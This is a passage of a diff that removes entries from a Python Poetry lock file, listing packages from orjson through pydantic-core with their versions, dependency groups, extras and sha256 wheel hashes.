-    {file = "orjson-3.11.9-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:0e4eed3b200023042814d2fc8a5d2e880f13b52e1ed2485e83da4f3962f7dc1a"},
-    {file = "orjson-3.11.9-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8aff7da9952a5ad1cef8e68017724d96c7b9a66e99e91d6252e1b133d67a7b10"},
-    {file = "orjson-3.11.9-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4d4e98d6f3b8afed8bc8cd9718ec0cdf46661826beefb53fe8eafb37f2bf0362"},
-    {file = "orjson-3.11.9-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3a81d52442a7c99b3662333235b3adf96a1715864658b35bb797212be7bddb97"},
-    {file = "orjson-3.11.9-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4e39364e726a8fff737309aff059ff67d8a8c8d5b677be7bb49a8b3e84b7e218"},
-    {file = "orjson-3.11.9-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:4fd66214623f1b17501df9f0543bef0b833979ab5b6ded1e1d123222866aa8c9"},
-    {file = "orjson-3.11.9-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:8ecc30f10465fa1e0ce13fd01d9e22c316e5053a719a8d915d4545a09a5ff677"},
-    {file = "orjson-3.11.9-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:97db4c94a7db398a5bd636273324f0b3fd58b350bbbac8bb380ceb825a9b40f4"},
-    {file = "orjson-3.11.9-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:9f78cf8fec5bd627f4082b8dfeac7871b43d7f3274904492a43dab39f18a19a0"},
-    {file = "orjson-3.11.9-cp313-cp313-win32.whl", hash = "sha256:d4087e5c0209a0a8efe4de3303c234b9c44d1174161dcd851e8eea07c7560b32"},
-    {file = "orjson-3.11.9-cp313-cp313-win_amd64.whl", hash = "sha256:051b102c93b4f634e89f3866b07b9a9a98915ada541f4ec30f177067b2694979"},
-    {file = "orjson-3.11.9-cp313-cp313-win_arm64.whl", hash = "sha256:cce9127885941bd28f080cecf1f1d288336b7e0d812c345b08be88b572796254"},
-    {file = "orjson-3.11.9-cp314-cp314-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:b6ef1979adc4bc243523f1a2ba91418030a8e29b0a99cbe7e0e2d6807d4dce6e"},
-    {file = "orjson-3.11.9-cp314-cp314-macosx_15_0_arm64.whl", hash = "sha256:f36b7f32c7c0db4a719f1fc5824db4a9c6f8bd1a354debb91faf26ebf3a4c71e"},
-    {file = "orjson-3.11.9-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:08f4d8ebb44925c794e535b2bebc507cebf32209df81de22ae285fb0d8d66de0"},
-    {file = "orjson-3.11.9-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:6cc7923789694fd58f001cbcac7e47abc13af4d560ebbfcf3b41a8b1a0748124"},
-    {file = "orjson-3.11.9-cp314-cp314-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ea5c46eb2d3af39e806b986f4b09d5c2706a1f5afde3cbf7544ce6616127173c"},
-    {file = "orjson-3.11.9-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f5d89a2ed90731df3be64bab0aa44f78bff39fdc9d71c291f4a8023aa46425b7"},
-    {file = "orjson-3.11.9-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:25e4aed0312d292c09f61af25bba34e0b2c88546041472b09088c39a4d828af1"},
-    {file = "orjson-3.11.9-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:aaea64f3f467d22e70eeed68bdccb3bc4f83f650446c4a03c59f2cba28a108db"},
-    {file = "orjson-3.11.9-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:a028425d1b440c5d92a6be1e1a020739dfe67ea87d96c6dbe828c1b30041728b"},
-    {file = "orjson-3.11.9-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:5b192c6cf397e4455b11523c5cf2b18ed084c1bbd61b6c0926344d2129481972"},
-    {file = "orjson-3.11.9-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:ea407d4ccf5891d667d045fecae97a7a1e5e87b3b97f97ae1803c2e741130be0"},
-    {file = "orjson-3.11.9-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:5f63aaf97afd9f6dec5b1a68e1b8da12bfccb4cb9a9a65c3e0b6c847849e7586"},
-    {file = "orjson-3.11.9-cp314-cp314-win32.whl", hash = "sha256:e30ab17845bb9fa54ccf67fa4f9f5282652d54faa6d17452f47d0f369d038673"},
-    {file = "orjson-3.11.9-cp314-cp314-win_amd64.whl", hash = "sha256:32ef5f4283a3be81913947d19608eacb7c6608026851123790cd9cc8982af34b"},
-    {file = "orjson-3.11.9-cp314-cp314-win_arm64.whl", hash = "sha256:eebdbdeef0094e4f5aefa20dcd4eb2368ab5e7a3b4edea27f1e7b2892e009cf9"},
-    {file = "orjson-3.11.9.tar.gz", hash = "sha256:4fef17e1f8722c11587a6ef18e35902450221da0028e65dbaaa543619e68e48f"},
-]
-
-[[package]]
-name = "packaging"
-version = "26.0"
-description = "Core utilities for Python packages"
-optional = false
-python-versions = ">=3.8"
-groups = ["main", "dev", "docs"]
-files = [
-    {file = "packaging-26.0-py3-none-any.whl", hash = "sha256:b36f1fef9334a5588b4166f8bcd26a14e521f2b55e6b9de3aaa80d3ff7a37529"},
-    {file = "packaging-26.0.tar.gz", hash = "sha256:00243ae351a257117b6a241061796684b084ed1c516a08c48a3f7e147a9d80b4"},
-]
-
-[[package]]
-name = "paginate"
-version = "0.5.7"
-description = "Divides large result sets into pages for easier browsing"
-optional = false
-python-versions = "*"
-groups = ["docs"]
-files = [
-    {file = "paginate-0.5.7-py2.py3-none-any.whl", hash = "sha256:b885e2af73abcf01d9559fd5216b57ef722f8c42affbb63942377668e35c7591"},
-    {file = "paginate-0.5.7.tar.gz", hash = "sha256:22bd083ab41e1a8b4f3690544afb2c60c25e5c9a63a30fa2f483f6c60c8e5945"},
-]
-
-[package.extras]
-dev = ["pytest", "tox"]
-lint = ["black"]
-
-[[package]]
-name = "pathspec"
-version = "1.0.4"
-description = "Utility library for gitignore style pattern matching of file paths."
-optional = false
-python-versions = ">=3.9"
-groups = ["docs"]
-files = [
-    {file = "pathspec-1.0.4-py3-none-any.whl", hash = "sha256:fb6ae2fd4e7c921a165808a552060e722767cfa526f99ca5156ed2ce45a5c723"},
-    {file = "pathspec-1.0.4.tar.gz", hash = "sha256:0210e2ae8a21a9137c0d470578cb0e595af87edaa6ebf12ff176f14a02e0e645"},
-]
-
-[package.extras]
-hyperscan = ["hyperscan (>=0.7)"]
-optional = ["typing-extensions (>=4)"]
-re2 = ["google-re2 (>=1.1)"]
-tests = ["pytest (>=9)", "typing-extensions (>=4.15)"]
-
-[[package]]
-name = "pexpect"
-version = "4.9.0"
-description = "Pexpect allows easy control of interactive console applications."
-optional = false
-python-versions = "*"
-groups = ["main"]
-files = [
-    {file = "pexpect-4.9.0-py2.py3-none-any.whl", hash = "sha256:7236d1e080e4936be2dc3e326cec0af72acf9212a7e1d060210e70a47e253523"},
-    {file = "pexpect-4.9.0.tar.gz", hash = "sha256:ee7d41123f3c9911050ea2c2dac107568dc43b2d3b0c7557a33212c398ead30f"},
-]
-
-[package.dependencies]
-ptyprocess = ">=0.5"
-
-[[package]]
-name = "platformdirs"
-version = "4.5.1"
-description = "A small Python package for determining appropriate platform-specific dirs, e.g. a `user data dir`."
-optional = false
-python-versions = ">=3.10"
-groups = ["dev", "docs"]
-files = [
-    {file = "platformdirs-4.5.1-py3-none-any.whl", hash = "sha256:d03afa3963c806a9bed9d5125c8f4cb2fdaf74a55ab60e5d59b3fde758104d31"},
-    {file = "platformdirs-4.5.1.tar.gz", hash = "sha256:61d5cdcc6065745cdd94f0f878977f8de9437be93de97c1c12f853c9c0cdcbda"},
-]
-
-[package.extras]
-docs = ["furo (>=2025.9.25)", "proselint (>=0.14)", "sphinx (>=8.2.3)", "sphinx-autodoc-typehints (>=3.2)"]
-test = ["appdirs (==1.4.4)", "covdefaults (>=2.3)", "pytest (>=8.4.2)", "pytest-cov (>=7)", "pytest-mock (>=3.15.1)"]
-type = ["mypy (>=1.18.2)"]
-
-[[package]]
-name = "pluggy"
-version = "1.6.0"
-description = "plugin and hook calling mechanisms for python"
-optional = false
-python-versions = ">=3.9"
-groups = ["dev"]
-files = [
-    {file = "pluggy-1.6.0-py3-none-any.whl", hash = "sha256:e920276dd6813095e9377c0bc5566d94c932c33b27a3e3945d8389c374dd4746"},
-    {file = "pluggy-1.6.0.tar.gz", hash = "sha256:7dcc130b76258d33b90f61b658791dede3486c3e6bfb003ee5c9bfb396dd22f3"},
-]
-
-[package.extras]
-dev = ["pre-commit", "tox"]
-testing = ["coverage", "pytest", "pytest-benchmark"]
-
-[[package]]
-name = "poetry-dynamic-versioning"
-version = "1.10.0"
-description = "Plugin for Poetry to enable dynamic versioning based on VCS tags"
-optional = false
-python-versions = "<4.0,>=3.7"
-groups = ["dev"]
-files = [
-    {file = "poetry_dynamic_versioning-1.10.0-py3-none-any.whl", hash = "sha256:a573d47c77e96661a309ee2115c9c5db4c66ce78986747479187424c8c9f5093"},
-    {file = "poetry_dynamic_versioning-1.10.0.tar.gz", hash = "sha256:52bf9ed57f2d60f4250a1dfe43db7b8144541df2f3ae6e712d12b43ecda71f47"},
-]
-
-[package.dependencies]
-dunamai = ">=1.26.0,<2.0.0"
-jinja2 = ">=2.11.1,<4"
-tomlkit = ">=0.4"
-
-[package.extras]
-plugin = ["poetry (>=1.2.0)"]
-
-[[package]]
-name = "pre-commit"
-version = "4.5.1"
-description = "A framework for managing and maintaining multi-language pre-commit hooks."
-optional = false
-python-versions = ">=3.10"
-groups = ["dev"]
-files = [
-    {file = "pre_commit-4.5.1-py2.py3-none-any.whl", hash = "sha256:3b3afd891e97337708c1674210f8eba659b52a38ea5f822ff142d10786221f77"},
-    {file = "pre_commit-4.5.1.tar.gz", hash = "sha256:eb545fcff725875197837263e977ea257a402056661f09dae08e4b149b030a61"},
-]
-
-[package.dependencies]
-cfgv = ">=2.0.0"
-identify = ">=1.0.0"
-nodeenv = ">=0.11.1"
-pyyaml = ">=5.1"
-virtualenv = ">=20.10.0"
-
-[[package]]
-name = "psutil"
-version = "7.2.2"
-description = "Cross-platform lib for process and system monitoring."
-optional = false
-python-versions = ">=3.6"
-groups = ["main"]
-files = [
-    {file = "psutil-7.2.2-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:2edccc433cbfa046b980b0df0171cd25bcaeb3a68fe9022db0979e7aa74a826b"},
-    {file = "psutil-7.2.2-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:e78c8603dcd9a04c7364f1a3e670cea95d51ee865e4efb3556a3a63adef958ea"},
-    {file = "psutil-7.2.2-cp313-cp313t-manylinux2010_x86_64.manylinux_2_12_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1a571f2330c966c62aeda00dd24620425d4b0cc86881c89861fbc04549e5dc63"},
-    {file = "psutil-7.2.2-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:917e891983ca3c1887b4ef36447b1e0873e70c933afc831c6b6da078ba474312"},
-    {file = "psutil-7.2.2-cp313-cp313t-win_amd64.whl", hash = "sha256:ab486563df44c17f5173621c7b198955bd6b613fb87c71c161f827d3fb149a9b"},
-    {file = "psutil-7.2.2-cp313-cp313t-win_arm64.whl", hash = "sha256:ae0aefdd8796a7737eccea863f80f81e468a1e4cf14d926bd9b6f5f2d5f90ca9"},
-    {file = "psutil-7.2.2-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:eed63d3b4d62449571547b60578c5b2c4bcccc5387148db46e0c2313dad0ee00"},
-    {file = "psutil-7.2.2-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7b6d09433a10592ce39b13d7be5a54fbac1d1228ed29abc880fb23df7cb694c9"},
-    {file = "psutil-7.2.2-cp314-cp314t-manylinux2010_x86_64.manylinux_2_12_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1fa4ecf83bcdf6e6c8f4449aff98eefb5d0604bf88cb883d7da3d8d2d909546a"},
-    {file = "psutil-7.2.2-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e452c464a02e7dc7822a05d25db4cde564444a67e58539a00f929c51eddda0cf"},
-    {file = "psutil-7.2.2-cp314-cp314t-win_amd64.whl", hash = "sha256:c7663d4e37f13e884d13994247449e9f8f574bc4655d509c3b95e9ec9e2b9dc1"},
-    {file = "psutil-7.2.2-cp314-cp314t-win_arm64.whl", hash = "sha256:11fe5a4f613759764e79c65cf11ebdf26e33d6dd34336f8a337aa2996d71c841"},
-    {file = "psutil-7.2.2-cp36-abi3-macosx_10_9_x86_64.whl", hash = "sha256:ed0cace939114f62738d808fdcecd4c869222507e266e574799e9c0faa17d486"},
-    {file = "psutil-7.2.2-cp36-abi3-macosx_11_0_arm64.whl", hash = "sha256:1a7b04c10f32cc88ab39cbf606e117fd74721c831c98a27dc04578deb0c16979"},
-    {file = "psutil-7.2.2-cp36-abi3-manylinux2010_x86_64.manylinux_2_12_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:076a2d2f923fd4821644f5ba89f059523da90dc9014e85f8e45a5774ca5bc6f9"},
-    {file = "psutil-7.2.2-cp36-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b0726cecd84f9474419d67252add4ac0cd9811b04d61123054b9fb6f57df6e9e"},
-    {file = "psutil-7.2.2-cp36-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:fd04ef36b4a6d599bbdb225dd1d3f51e00105f6d48a28f006da7f9822f2606d8"},
-    {file = "psutil-7.2.2-cp36-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:b58fabe35e80b264a4e3bb23e6b96f9e45a3df7fb7eed419ac0e5947c61e47cc"},
-    {file = "psutil-7.2.2-cp37-abi3-win_amd64.whl", hash = "sha256:eb7e81434c8d223ec4a219b5fc1c47d0417b12be7ea866e24fb5ad6e84b3d988"},
-    {file = "psutil-7.2.2-cp37-abi3-win_arm64.whl", hash = "sha256:8c233660f575a5a89e6d4cb65d9f938126312bca76d8fe087b947b3a1aaac9ee"},
-    {file = "psutil-7.2.2.tar.gz", hash = "sha256:0746f5f8d406af344fd547f1c8daa5f5c33dbc293bb8d6a16d80b4bb88f59372"},
-]
-
-[package.extras]
-dev = ["abi3audit", "black", "check-manifest", "colorama ; os_name == \"nt\"", "coverage", "packaging", "psleak", "pylint", "pyperf", "pypinfo", "pyreadline3 ; os_name == \"nt\"", "pytest", "pytest-cov", "pytest-instafail", "pytest-xdist", "pywin32 ; os_name == \"nt\" and implementation_name != \"pypy\"", "requests", "rstcheck", "ruff", "setuptools", "sphinx", "sphinx_rtd_theme", "toml-sort", "twine", "validate-pyproject[all]", "virtualenv", "vulture", "wheel", "wheel ; os_name == \"nt\" and implementation_name != \"pypy\"", "wmi ; os_name == \"nt\" and implementation_name != \"pypy\""]
-test = ["psleak", "pytest", "pytest-instafail", "pytest-xdist", "pywin32 ; os_name == \"nt\" and implementation_name != \"pypy\"", "setuptools", "wheel ; os_name == \"nt\" and implementation_name != \"pypy\"", "wmi ; os_name == \"nt\" and implementation_name != \"pypy\""]
-
-[[package]]
-name = "ptyprocess"
-version = "0.7.0"
-description = "Run a subprocess in a pseudo terminal"
-optional = false
-python-versions = "*"
-groups = ["main"]
-files = [
-    {file = "ptyprocess-0.7.0-py2.py3-none-any.whl", hash = "sha256:4b41f3967fce3af57cc7e94b888626c18bf37a083e3651ca8feeb66d492fef35"},
-    {file = "ptyprocess-0.7.0.tar.gz", hash = "sha256:5c5d0a3b48ceee0b48485e0c26037c0acd7d29765ca3fbb5cb3831d347423220"},
-]
-
-[[package]]
-name = "puremagic"
-version = "1.30"
-description = "Pure python implementation of magic file detection"
-optional = false
-python-versions = "*"
-groups = ["main"]
-files = [
-    {file = "puremagic-1.30-py3-none-any.whl", hash = "sha256:5eeeb2dd86f335b9cfe8e205346612197af3500c6872dffebf26929f56e9d3c1"},
-    {file = "puremagic-1.30.tar.gz", hash = "sha256:f9ff7ac157d54e9cf3bff1addfd97233548e75e685282d84ae11e7ffee1614c9"},
-]
-
-[[package]]
-name = "py-cpuinfo"
-version = "9.0.0"
-description = "Get CPU info with pure Python"
-optional = false
-python-versions = "*"
-groups = ["dev"]
-files = [
-    {file = "py-cpuinfo-9.0.0.tar.gz", hash = "sha256:3cdbbf3fac90dc6f118bfd64384f309edeadd902d7c8fb17f02ffa1fc3f49690"},
-    {file = "py_cpuinfo-9.0.0-py3-none-any.whl", hash = "sha256:859625bc251f64e21f077d099d4162689c762b5d6a4c3c97553d56241c9674d5"},
-]
-
-[[package]]
-name = "pycparser"
-version = "3.0"
-description = "C parser in Python"
-optional = false
-python-versions = ">=3.10"
-groups = ["main"]
-markers = "implementation_name == \"pypy\" or platform_python_implementation != \"PyPy\" and implementation_name != \"PyPy\""
-files = [
-    {file = "pycparser-3.0-py3-none-any.whl", hash = "sha256:b727414169a36b7d524c1c3e31839a521725078d7b2ff038656844266160a992"},
-    {file = "pycparser-3.0.tar.gz", hash = "sha256:600f49d217304a5902ac3c37e1281c9fe94e4d0489de643a9504c5cdfdfc6b29"},
-]
-
-[[package]]
-name = "pycryptodome"
-version = "3.23.0"
-description = "Cryptographic library for Python"
-optional = false
-python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7"
-groups = ["main"]
-files = [
-    {file = "pycryptodome-3.23.0-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:a176b79c49af27d7f6c12e4b178b0824626f40a7b9fed08f712291b6d54bf566"},
-    {file = "pycryptodome-3.23.0-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:573a0b3017e06f2cffd27d92ef22e46aa3be87a2d317a5abf7cc0e84e321bd75"},
-    {file = "pycryptodome-3.23.0-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:63dad881b99ca653302b2c7191998dd677226222a3f2ea79999aa51ce695f720"},
-    {file = "pycryptodome-3.23.0-cp27-cp27m-win32.whl", hash = "sha256:b34e8e11d97889df57166eda1e1ddd7676da5fcd4d71a0062a760e75060514b4"},
-    {file = "pycryptodome-3.23.0-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:7ac1080a8da569bde76c0a104589c4f414b8ba296c0b3738cf39a466a9fb1818"},
-    {file = "pycryptodome-3.23.0-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:6fe8258e2039eceb74dfec66b3672552b6b7d2c235b2dfecc05d16b8921649a8"},
-    {file = "pycryptodome-3.23.0-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:0011f7f00cdb74879142011f95133274741778abba114ceca229adbf8e62c3e4"},
-    {file = "pycryptodome-3.23.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:90460fc9e088ce095f9ee8356722d4f10f86e5be06e2354230a9880b9c549aae"},
-    {file = "pycryptodome-3.23.0-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4764e64b269fc83b00f682c47443c2e6e85b18273712b98aa43bcb77f8570477"},
-    {file = "pycryptodome-3.23.0-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:eb8f24adb74984aa0e5d07a2368ad95276cf38051fe2dc6605cbcf482e04f2a7"},
-    {file = "pycryptodome-3.23.0-cp313-cp313t-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d97618c9c6684a97ef7637ba43bdf6663a2e2e77efe0f863cce97a76af396446"},
-    {file = "pycryptodome-3.23.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:9a53a4fe5cb075075d515797d6ce2f56772ea7e6a1e5e4b96cf78a14bac3d265"},
-    {file = "pycryptodome-3.23.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:763d1d74f56f031788e5d307029caef067febf890cd1f8bf61183ae142f1a77b"},
-    {file = "pycryptodome-3.23.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:954af0e2bd7cea83ce72243b14e4fb518b18f0c1649b576d114973e2073b273d"},
-    {file = "pycryptodome-3.23.0-cp313-cp313t-win32.whl", hash = "sha256:257bb3572c63ad8ba40b89f6fc9d63a2a628e9f9708d31ee26560925ebe0210a"},
-    {file = "pycryptodome-3.23.0-cp313-cp313t-win_amd64.whl", hash = "sha256:6501790c5b62a29fcb227bd6b62012181d886a767ce9ed03b303d1f22eb5c625"},
-    {file = "pycryptodome-3.23.0-cp313-cp313t-win_arm64.whl", hash = "sha256:9a77627a330ab23ca43b48b130e202582e91cc69619947840ea4d2d1be21eb39"},
-    {file = "pycryptodome-3.23.0-cp37-abi3-macosx_10_9_universal2.whl", hash = "sha256:187058ab80b3281b1de11c2e6842a357a1f71b42cb1e15bce373f3d238135c27"},
-    {file = "pycryptodome-3.23.0-cp37-abi3-macosx_10_9_x86_64.whl", hash = "sha256:cfb5cd445280c5b0a4e6187a7ce8de5a07b5f3f897f235caa11f1f435f182843"},
-    {file = "pycryptodome-3.23.0-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:67bd81fcbe34f43ad9422ee8fd4843c8e7198dd88dd3d40e6de42ee65fbe1490"},
-    {file = "pycryptodome-3.23.0-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c8987bd3307a39bc03df5c8e0e3d8be0c4c3518b7f044b0f4c15d1aa78f52575"},
-    {file = "pycryptodome-3.23.0-cp37-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:aa0698f65e5b570426fc31b8162ed4603b0c2841cbb9088e2b01641e3065915b"},
-    {file = "pycryptodome-3.23.0-cp37-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:53ecbafc2b55353edcebd64bf5da94a2a2cdf5090a6915bcca6eca6cc452585a"},
-    {file = "pycryptodome-3.23.0-cp37-abi3-musllinux_1_2_i686.whl", hash = "sha256:156df9667ad9f2ad26255926524e1c136d6664b741547deb0a86a9acf5ea631f"},
-    {file = "pycryptodome-3.23.0-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:dea827b4d55ee390dc89b2afe5927d4308a8b538ae91d9c6f7a5090f397af1aa"},
-    {file = "pycryptodome-3.23.0-cp37-abi3-win32.whl", hash = "sha256:507dbead45474b62b2bbe318eb1c4c8ee641077532067fec9c1aa82c31f84886"},
-    {file = "pycryptodome-3.23.0-cp37-abi3-win_amd64.whl", hash = "sha256:c75b52aacc6c0c260f204cbdd834f76edc9fb0d8e0da9fbf8352ef58202564e2"},
-    {file = "pycryptodome-3.23.0-cp37-abi3-win_arm64.whl", hash = "sha256:11eeeb6917903876f134b56ba11abe95c0b0fd5e3330def218083c7d98bbcb3c"},
-    {file = "pycryptodome-3.23.0-pp27-pypy_73-manylinux2010_x86_64.whl", hash = "sha256:350ebc1eba1da729b35ab7627a833a1a355ee4e852d8ba0447fafe7b14504d56"},
-    {file = "pycryptodome-3.23.0-pp27-pypy_73-win32.whl", hash = "sha256:93837e379a3e5fd2bb00302a47aee9fdf7940d83595be3915752c74033d17ca7"},
-    {file = "pycryptodome-3.23.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:ddb95b49df036ddd264a0ad246d1be5b672000f12d6961ea2c267083a5e19379"},
-    {file = "pycryptodome-3.23.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d8e95564beb8782abfd9e431c974e14563a794a4944c29d6d3b7b5ea042110b4"},
-    {file = "pycryptodome-3.23.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:14e15c081e912c4b0d75632acd8382dfce45b258667aa3c67caf7a4d4c13f630"},
-    {file = "pycryptodome-3.23.0-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a7fc76bf273353dc7e5207d172b83f569540fc9a28d63171061c42e361d22353"},
-    {file = "pycryptodome-3.23.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:45c69ad715ca1a94f778215a11e66b7ff989d792a4d63b68dc586a1da1392ff5"},
-    {file = "pycryptodome-3.23.0-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:865d83c906b0fc6a59b510deceee656b6bc1c4fa0d82176e2b77e97a420a996a"},
-    {file = "pycryptodome-3.23.0-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:89d4d56153efc4d81defe8b65fd0821ef8b2d5ddf8ed19df31ba2f00872b8002"},
-    {file = "pycryptodome-3.23.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e3f2d0aaf8080bda0587d58fc9fe4766e012441e2eed4269a77de6aea981c8be"},
-    {file = "pycryptodome-3.23.0-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:64093fc334c1eccfd3933c134c4457c34eaca235eeae49d69449dc4728079339"},
-    {file = "pycryptodome-3.23.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:ce64e84a962b63a47a592690bdc16a7eaf709d2c2697ababf24a0def566899a6"},
-    {file = "pycryptodome-3.23.0.tar.gz", hash = "sha256:447700a657182d60338bab09fdb27518f8856aecd80ae4c6bdddb67ff5da44ef"},
-]
-
-[[package]]
-name = "pydantic"
-version = "2.12.5"
-description = "Data validation using Python type hints"
-optional = false
-python-versions = ">=3.9"
-groups = ["main", "dev"]
-files = [
-    {file = "pydantic-2.12.5-py3-none-any.whl", hash = "sha256:e561593fccf61e8a20fc46dfc2dfe075b8be7d0188df33f221ad1f0139180f9d"},
-    {file = "pydantic-2.12.5.tar.gz", hash = "sha256:4d351024c75c0f085a9febbb665ce8c0c6ec5d30e903bdb6394b7ede26aebb49"},
-]
-
-[package.dependencies]
-annotated-types = ">=0.6.0"
-pydantic-core = "2.41.5"
-typing-extensions = ">=4.14.1"
-typing-inspection = ">=0.4.2"
-
-[package.extras]
-email = ["email-validator (>=2.0.0)"]
-timezone = ["tzdata ; python_version >= \"3.9\" and platform_system == \"Windows\""]
-
-[[package]]
-name = "pydantic-core"
-version = "2.41.5"
-description = "Core functionality for Pydantic validation and serialization"
-optional = false
-python-versions = ">=3.9"
-groups = ["main", "dev"]
-files = [
-    {file = "pydantic_core-2.41.5-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:77b63866ca88d804225eaa4af3e664c5faf3568cea95360d21f4725ab6e07146"},
-    {file = "pydantic_core-2.41.5-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:dfa8a0c812ac681395907e71e1274819dec685fec28273a28905df579ef137e2"},
-    {file = "pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5921a4d3ca3aee735d9fd163808f5e8dd6c6972101e4adbda9a4667908849b97"},
-    {file = "pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:e25c479382d26a2a41b7ebea1043564a937db462816ea07afa8a44c0866d52f9"},
-    {file = "pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f547144f2966e1e16ae626d8ce72b4cfa0caedc7fa28052001c94fb2fcaa1c52"},
-    {file = "pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:6f52298fbd394f9ed112d56f3d11aabd0d5bd27beb3084cc3d8ad069483b8941"},
-    {file = "pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:100baa204bb412b74fe285fb0f3a385256dad1d1879f0a5cb1499ed2e83d132a"},
-    {file = "pydantic_core-2.41.5-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:05a2c8852530ad2812cb7914dc61a1125dc4e06252ee98e5638a12da6cc6fb6c"},
-    {file = "pydantic_core-2.41.5-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:29452c56df2ed968d18d7e21f4ab0ac55e71dc59524872f6fc57dcf4a3249ed2"},
-    {file = "pydantic_core-2.41.5-cp310-cp310-musllinux_1_1_armv7l.whl", hash = "sha256:d5160812ea7a8a2ffbe233d8da666880cad0cbaf5d4de74ae15c313213d62556"},
-    {file = "pydantic_core-2.41.5-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:df3959765b553b9440adfd3c795617c352154e497a4eaf3752555cfb5da8fc49"},
-    {file = "pydantic_core-2.41.5-cp310-cp310-win32.whl", hash = "sha256:1f8d33a7f4d5a7889e60dc39856d76d09333d8a6ed0f5f1190635cbec70ec4ba"},
